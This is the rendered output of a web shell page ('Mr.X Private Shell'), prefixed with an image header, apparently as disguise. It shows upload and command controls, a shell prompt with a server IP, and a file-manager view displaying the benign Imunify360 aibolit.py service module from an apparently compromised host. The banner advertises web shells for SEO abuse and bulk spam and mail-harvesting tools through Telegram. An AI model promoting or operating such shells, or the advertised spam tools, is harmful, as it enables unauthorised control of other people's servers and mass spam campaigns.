����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
"""
This program is free software: you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License,
or (at your option) any later version.


This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
See the GNU General Public License for more details.


You should have received a copy of the GNU General Public License
 along with this program.  If not, see <https://www.gnu.org/licenses/>.

Copyright © 2019 Cloud Linux Software Inc.

This software is also available under ImunifyAV commercial license,
see <https://www.imunify360.com/legal/eula>
"""
import logging

from defence360agent.subsys import svcctl
from defence360agent.utils import CheckRunError  # NOSONAR

logger = logging.getLogger(__name__)

AIBOLIT_SOCKET_NAME = "aibolit-resident.socket"
AIBOLIT_SVCNAME = "aibolit-resident"


async def restart_on_sigs_or_config_update(_, is_updated):
    if is_updated:
        logger.info("ai-bolit service will be restarted")
        aibolit_socket = svcctl.adaptor(AIBOLIT_SOCKET_NAME)
        aibolit_service = svcctl.adaptor(AIBOLIT_SVCNAME)
        try:
            await _ensure_socket_active(aibolit_service, aibolit_socket)
            await aibolit_service.restart()
        except CheckRunError as e:
            if "is masked" in str(e):
                logger.warning(
                    "Aibolit service is masked, skipping restart during"
                    " installation"
                )
                return
            raise
        logger.debug("ai-bolit service restarted")


async def _ensure_socket_active(aibolit_service, aibolit_socket):
    """Restart aibolit-resident.socket if it was killed by systemd rate
    limiting.  When the service hits StartLimitBurst, systemd stops
    both the service *and* the socket (via PartOf) and marks them
    failed.  A plain ``restart`` of the service won't help because
    the socket stays dead.  We reset-failed + restart the socket so
    that the next scan can trigger socket activation again."""
    try:
        if not await aibolit_socket.is_active():
            logger.warning("aibolit-resident.socket is not active, recovering")
            await aibolit_service.reset_failed()
            await aibolit_socket.reset_failed()
            await aibolit_socket.restart()
    except Exception:
        logger.exception("failed to recover aibolit-resident.socket")


async def restart_on_detect_admin_tools_update():
    await restart_on_sigs_or_config_update(
        None,
        True,
    )

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
aibolit.py File 2.65 KB 0644
ainotify.py File 8.59 KB 0644
cxs.py File 1.37 KB 0644
malware.py File 39.38 KB 0644
pure_ftpd.py File 5.5 KB 0644
restore_from_backup.py File 2.42 KB 0644